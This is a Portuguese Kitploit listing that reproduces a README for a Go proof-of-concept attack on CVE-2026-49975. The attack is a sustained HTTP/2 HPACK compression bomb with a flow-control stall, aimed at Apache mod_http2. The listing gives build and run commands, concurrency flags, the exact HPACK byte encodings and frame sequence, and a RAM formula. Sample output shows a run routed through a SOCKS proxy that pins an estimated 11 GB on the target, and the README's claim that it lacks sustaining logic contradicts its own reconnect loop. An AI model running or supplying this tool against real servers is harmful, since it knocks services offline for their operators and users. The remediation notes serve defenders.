Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2026-49975 — PoC de pesquisa de segurança para CVE-2026-49975: bomba de compressão HTTP/2 HPACK + DoS por retenção de controle de fluxo no Apache mod_http2 | Kitploit
Ferramentas/GitHubGitHub/naheeju/poc-cve-2026-49975
Análise de VulnerabilidadesExploraçãoSegurança WebSegurança de Rede
GitHubnaheeju/poc-cve-2026-49975

POC-CVE-2026-49975

PoC de pesquisa de segurança para CVE-2026-49975: bomba de compressão HTTP/2 HPACK + DoS por retenção de controle de fluxo no Apache mod_http2

Ver Repositório
há 7h 37mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Go Version Status Scope CVSS License

CVE-2026-49975

HTTP/2 Bomb — PoC de Bomba de Compressão HPACK + Retenção de Controle de Fluxo

PoC de Pesquisa de Segurança por naheeju


⚠️ Esta é uma ferramenta funcional de DoS por esgotamento de memória — não é um brinquedo. Ela abre fluxos que forçam o alvo a alocar memória e os mantém abertos por meio de truques de controle de fluxo do HTTP/2. Enquanto o processo estiver em execução, ele continua retendo e se reconecta automaticamente se o servidor derrubar a conexão — não para por conta própria. O impacto escala diretamente com --threads, e . Interromper o processo (Ctrl+C) libera os fluxos retidos e permite que o servidor se recupere, mas nada na operação padrão é "gentil" — trate cada execução como um teste real.

--streams
--headers

1. Visão Geral

CVE-2026-49975 ("HTTP/2 Bomb") é uma vulnerabilidade de Negação de Serviço remota e não autenticada que afeta o módulo mod_http2 do Apache HTTP Server. Ela encadeia duas fraquezas do HTTP/2 conhecidas há muito tempo:

  1. Bomba de contabilidade HPACK — uma pequena requisição HTTP/2 codificada em HPACK faz com que múltiplos fragmentos de cabeçalho Cookie sejam mesclados sem serem contabilizados em LimitRequestFields, forçando o servidor a alocar memória repetidamente para estruturas internas de contabilidade de cabeçalhos.
  2. Travamento de controle de fluxo (estilo Slowloris) — o cliente anuncia uma janela de controle de fluxo próxima de zero, atrasando a transmissão da resposta e mantendo o(s) fluxo(s) afetado(s) aberto(s), o que impede que a memória alocada seja liberada.

O resultado: um único cliente em uma conexão modesta pode forçar alocação de memória significativa e sustentada no alvo enquanto o fluxo permanecer aberto. Esta implementação suporta dois modos de payload e escala linearmente com a concorrência que você configurar:

  • modo nginx — planta um cabeçalho x-bomb vazio na tabela dinâmica HPACK e o referencia repetidamente (~70:1 de amplificação por referência).
  • modo classic — planta um cabeçalho cookie superdimensionado em vez disso (~4000:1 de amplificação por referência).

Cada conexão referencia novamente o cabeçalho plantado milhares de vezes por fluxo (--headers, padrão 5000), através de múltiplos fluxos por conexão (--streams, padrão 10) e múltiplas conexões paralelas (--threads, padrão 1). Se o servidor fechar uma conexão, a ferramenta se reconecta imediatamente e continua até ser interrompida manualmente — este é um loop de retenção contínua, não uma sonda única.

Identificadores relacionados para outras stacks afetadas (não implementados ou testados por este repositório):

  • Envoy → CVE-2026-47774
  • Microsoft IIS, Cloudflare Pingora → rastreados separadamente, nenhum CVE referenciado aqui

Escopo completo da classe de fraqueza subjacente, para fins de completude — a técnica "HTTP/2 Bomb" (bomba de compressão HPACK + retenção de controle de fluxo) afeta várias implementações de servidor além do Apache. Este repositório implementa e testa apenas o caso do Apache; o restante está incluído para que os leitores entendam a classe mais ampla, não porque este PoC os exercite:

ImplementaçãoStatusImplementado neste PoC?
Apache HTTP Server mod_http2Corrigido no httpd 2.4.68 (2026-06-08)Sim — este repositório
nginxCorrigido no 1.29.8Não
EnvoyRastreado separadamenteNão
Microsoft IISRastreado separadamenteNão
Cloudflare PingoraRastreado separadamenteNão
CVECVE-2026-49975
CWECWE-789 (Alocação de Memória com Valor de Tamanho Excessivo, conforme NVD/CVE.org); também rastreado como CWE-409 (Tratamento Inadequado de Dados Altamente Comprimidos) por alguns fornecedores
CVSS7.5 (Alto) — CVSS v3.1, vetor apenas de disponibilidade (conforme NVD). O próprio aviso da Apache o classifica como Moderado.
Componente afetadoApache HTTP Server mod_http2
Versões vulneráveisApache httpd 2.4.17 ≤ versão ≤ 2.4.67 (configuração HTTP/2 padrão)
Corrigido emApache HTTP Server 2.4.68 (lançado em 2026-06-08). A correção subjacente chegou ao upstream no mod_h2 em 2026-05-27, foi mesclada no branch 2.4.x do httpd em 2026-06-02 e foi incluída no lançamento 2.4.68.
Tipo de ataqueNegação de Serviço — esgotamento de memória (apenas disponibilidade)
Autenticação necessáriaNão
Exposição de dados / RCENenhuma — isto tem impacto apenas na disponibilidade
Explorado conhecidamenteAtualmente não sinalizado como conhecidamente explorado em ambiente real por fontes rastreadas.

Referências (fontes primárias — verifique todas as afirmações de forma independente):

  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-49975
  • Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49975
  • Aviso da Apache / lista de vulnerabilidades: https://httpd.apache.org/security/vulnerabilities_24.html
  • Changelog do Apache 2.4.68 (referência do commit de correção): https://dlcdn.apache.org/httpd/CHANGES_2.4.68
  • Writeup da descoberta original: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb

2. Escopo deste Repositório

Este repositório contém:

  • Um script PoC mínimo que reproduz o comportamento de bomba HPACK apenas de retenção contra um alvo que você está autorizado a testar.
  • Este README, documentando a vulnerabilidade, a linha do tempo de divulgação e as condições de uso seguro.

Este repositório não contém:

  • Qualquer automação para escanear a internet em busca de hosts vulneráveis.
  • Qualquer lógica de flooding/sustentação de DoS, escalonamento de concorrência ou listas de credenciais/alvos.
  • Qualquer código que vise um sistema ativo específico por padrão. O alvo deve ser fornecido explicitamente pelo operador.

3. ⚖️ Aviso Legal e Ético

Leia isto antes de fazer qualquer outra coisa.

  • Este PoC é publicado estritamente para fins educacionais e de pesquisa de segurança defensiva — para ajudar operadores a verificar sua própria exposição e apoiar o registro público de uma vulnerabilidade já divulgada e já corrigida.
  • Você deve ter autorização explícita e documentada do proprietário do sistema antes de executar isto contra qualquer alvo que não seja sua própria infraestrutura ou um sistema que você esteja contratualmente/legalmente autorizado a testar (por exemplo, um engajamento de pentest assinado, escopo de bug bounty ou permissão por escrito).
  • Executar este PoC contra sistemas que você não possui ou não tem autorização para testar — incluindo, mas não se limitando a, agências governamentais, forças de segurança, infraestrutura crítica ou qualquer sistema de produção de terceiros — sem permissão é ilegal na maioria das jurisdições (na Indonésia, isso se enquadra na UU ITE) e pode constituir crime em outros lugares.
  • O(s) autor(es) deste repositório:
    • Não assumem nenhuma responsabilidade pelo uso indevido deste código.
    • Não endossam o uso deste PoC para interromper, degradar ou negar serviço a qualquer sistema sem autorização.
    • Fornecem este código como está, sem garantia de qualquer tipo.
  • Se você é um fornecedor, agência ou operador de sistema que encontrou este repositório porque seu sistema foi testado: consulte a Seção 6 — Linha do Tempo de Divulgação para saber como isso foi reportado e a quem.

Ao baixar, clonar ou executar qualquer código deste repositório, você concorda que é o único responsável por garantir que possui a autorização adequada e que aceita total responsabilidade legal pelo seu uso.


4. Método de Reconhecimento

CVE-2026-49975 só se aplica a um alvo que satisfaça ambos os critérios da Seção 1 — acessível via HTTP/2 e executando uma versão vulnerável do mod_http2 dentro do intervalo (2.4.17 ≤ versão ≤ 2.4.67, configuração padrão). Um simples curl -vkI contra a porta HTTPS do alvo é suficiente para verificar ambos — nenhum scanner ou flag extra é necessário:

root@kitploit:~
curl -vkI https://<target>

O que procurar na saída:

  • ALPN: server accepted h2 — o servidor negociou HTTP/2 para esta conexão. Esta é a pré-condição para CVE-2026-49975, já que o bug está no mod_http2; um servidor que nunca aceitou h2 aqui não é candidato.
  • O cabeçalho de resposta Server (visível assim que os cabeçalhos da resposta HEAD são impressos, mais abaixo na saída de -v) — é isso que confirma ou descarta a versão real do Apache/mod_http2 em relação ao intervalo vulnerável da Seção 1. A aceitação do ALPN por si só não confirma a versão — isso ainda requer o cabeçalho Server ou uma verificação de banner equivalente.

Nada além disso é usado para reconhecimento neste repositório — sem tráfego de exploração ativa, sem scanners de vulnerabilidade, sem varreduras de portas.


5. Requisitos

  • Runtime: Go 1.26+ (módulo: cve202649975)
  • Dependências: golang.org/x/net v0.59.0 (resolvido automaticamente via go build)
  • Acesso à rede: alcançabilidade TCP direta ao alvo autorizado na porta especificada (padrão 443, TLS/h2 por padrão; --no-ssl para h2c em texto claro)
  • Opcional: proxychains4 — se o binário for iniciado sob proxychains4, ele detecta o wrapper LD_PRELOAD, lê o mesmo proxychains4.conf e roteia suas próprias conexões através desse proxy SOCKS5 (resolução DNS remota) — útil quando o escopo de um engajamento exige testes a partir de um caminho de saída específico
  • Permissões: autorização por escrito / carta de engajamento para o alvo sendo testado

6. Linha do Tempo de Divulgação

Linha do tempo pública do próprio CVE-2026-49975: reportado à Apache em 2026-05-26; correção chegou ao upstream no mod_h2 em 2026-05-27; mesclada no branch 2.4.x do httpd em 2026-06-02; Apache HTTP Server 2.4.68 lançado em 2026-06-08.


7. Uso

Execute isto apenas contra um alvo que você está explicitamente autorizado a testar. Não há limite de duração embutido nem modo seguro — você é responsável por quanto tempo ele roda e com qual concorrência.

Compilar:

root@kitploit:~
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos   (see build.sh)

Executar:

root@kitploit:~
./dos <target> <port> [flags]
FlagPadrãoDescrição
--threads N1Conexões paralelas
--streams N10Fluxos abertos por conexão
--headers N5000Referências à tabela dinâmica HPACK por fluxo (motor de amplificação)
--mode nginx|classicnginxnginx = bomba de contabilidade de cabeçalho vazio (~70:1); classic = bomba de cookie gordo (~4000:1, corresponde ao mecanismo de mesclagem de Cookie do mod_http2 do Apache pelo qual este CVE é rastreado)
--no-ssldesligadoUsar h2c em texto claro em vez de TLS

Exemplo, teste mínimo de laboratório autorizado:

root@kitploit:~
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx

Comportamento esperado:

  • Imprime um resumo de pré-voo (alvo, modo, contagens de conexão/fluxo, memória estimada no lado do servidor) antes de enviar qualquer coisa.
  • Mantém os fluxos abertos com gotejamentos de WINDOW_UPDATE de 1 byte e pings periódicos; reconecta automaticamente e repete se o servidor fechar a conexão.
  • Só para quando você envia Ctrl+C / SIGTERM — planeje sua janela de teste de acordo e monitore a memória do alvo em tempo real.
  • Recomendado: valide contra um ambiente de staging/laboratório primeiro com --streams/--headers baixos antes de qualquer teste autorizado em produção, e tenha um plano de rollback/reinício para o serviço alvo pronto independentemente.

7a. Estimativa de Pressão de RAM

Fórmula aproximada de memória no lado do servidor para os dois modos desta ferramenta (apenas Apache mod_http2 — consulte a Seção 1 para saber como nginx/classic se mapeiam à taxa de amplificação):

root@kitploit:~
total_streams   = threads × streams
server_ram_MB   ≈ total_streams × headers × amplification_bytes / 1024²

# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
#   1 × 10 × 5000 × 70 / 1024²  ≈ 3.3 MB held

# classic mode (~4000 bytes/ref), defaults:
#   1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held

Aumente threads/streams/headers e o número cresce linearmente — é por isso que um teste autorizado em laboratório deve começar baixo (consulte a Seção 7) antes de qualquer execução em escopo de produção.


7b. Detalhes Técnicos

Isto documenta o mecanismo que este PoC específico implementa contra o Apache mod_http2 — não se estende a outras implementações de servidor, que estão fora do escopo deste repositório (consulte a Seção 2).

Semente da tabela dinâmica HPACK (indexação incremental, adiciona entrada no índice 62):

root@kitploit:~
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00              (nginx-mode seed: empty value)

Referência indexada a essa entrada (1 byte cada, repetida --headers vezes):

root@kitploit:~
0x80 | 62 = 0xbe

Sequência de frames HTTP/2 por conexão:

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n        (connection preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]         (flow-control stall setup)
  SETTINGS ACK                             (after reading server SETTINGS)
  HEADERS [stream 1]  ← HPACK bomb payload
  HEADERS [stream 3]  ← HPACK bomb payload
  ...                                      (up to --streams per connection)
  WINDOW_UPDATE(1) per stream, periodically   (keeps the stall alive)

O custo na rede é pequeno e majoritariamente fixo por fluxo (alguns bytes para a semente + 1 byte por referência); a alocação no lado do servidor é o que cresce desproporcionalmente — essa lacuna é a vulnerabilidade.


7c. Exemplo de Saída

Saída de uma execução autorizada em laboratório, modo classic, 20 conexões × 30 fluxos/conexão, 5000 refs HPACK/fluxo, roteada através do proxychains:

root@kitploit:~
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
root@kitploit:~
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


 ██╗  ██╗██████╗     ██████╗  ██████╗ ███╗   ███╗██████╗
 ██║  ██║╚════██╗    ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
 ███████║ █████╔╝    ██████╔╝██║   ██║██╔████╔██║██████╔╝
 ██╔══██║██╔═══╝     ██╔══██╗██║   ██║██║╚██╔╝██║██╔══██╗
 ██║  ██║███████╗    ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
 ╚═╝  ╚═╝╚══════╝    ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═════╝

  CVE-2026-49975  —  HTTP/2 Bomb PoC  (HPACK bomb + flow-control hold)
  Go PoC by naheeju  ·  originally discovered by Calif.IO  ·  authorized testing only
──────────────────────────────────────────────────────────────────
  Run configuration
  Target           domain.com:443
  Mode             classic (~4000:1 amplification)
  Connections      20
  Streams/conn     30
  Total streams    600
  HPACK refs/str   5000
  Est. server RAM  ~11444 MB
  Proxychains      yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
  [~] Opening connection #1...
  ...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  ... (one line per connection as it finishes opening its 30 streams)

Cada conexão relata independentemente sua própria contribuição de RAM local à medida que abre fluxos (~572 MB por conexão com essas configurações); o número de pré-voo Est. server RAM é o agregado de todas as 20 conexões (~11,4 GB) quando todas as conexões estiverem totalmente abertas e retendo.

domain.com acima é um placeholder — substitua pelo seu alvo autorizado real ao documentar sua própria execução, e redija-o se o engajamento for confidencial.


8. Remediação

  • Apache HTTP Server: atualize para httpd 2.4.68 ou posterior (este é o lançamento que contém a correção).
  • Se a aplicação imediata do patch não for possível:
    • Defina LimitRequestFields de forma conservadora e monitore o comportamento de mesclagem de cabeçalhos.
    • Considere desabilitar HTTP/2 no listener afetado até que seja corrigido.
    • Coloque o serviço atrás de um proxy reverso/WAF que imponha um limite rígido de contagem de cabeçalhos.
  • Reteste após a remediação para confirmar que o comportamento de reter-e-liberar não causa mais crescimento sustentado de memória.

9. Créditos / Atribuição

Descoberta e divulgação original da vulnerabilidade à Apache (sem relação com este repositório ou seu autor):

  • Quang Luong, Calif.IO, em colaboração com OpenAI Codex
  • Reportado ao Apache HTTP Server Project em 2026-05-26; linha de crédito oficial publicada no changelog do 2.4.68

Este repositório (reimplementação em Go, escrita e testada após a correção pública ser lançada):

  • Autor: naheeju
  • PoC independente construído a partir da descrição pública da vulnerabilidade e do diff do patch, para fins de verificação/educacionais contra alvos autorizados. Não afiliado à descoberta original, à Calif.IO ou à Apache Security Team.

Dúvidas, correções ou preocupações relacionadas à divulgação responsável sobre este PoC específico: abra uma issue neste repositório.

Licença: MIT (apenas o código deste repositório — consulte LICENSE). Não se estende a, nem implica endosso pelos, descobridores originais ou pela Apache Software Foundation.

Baixar ferramenta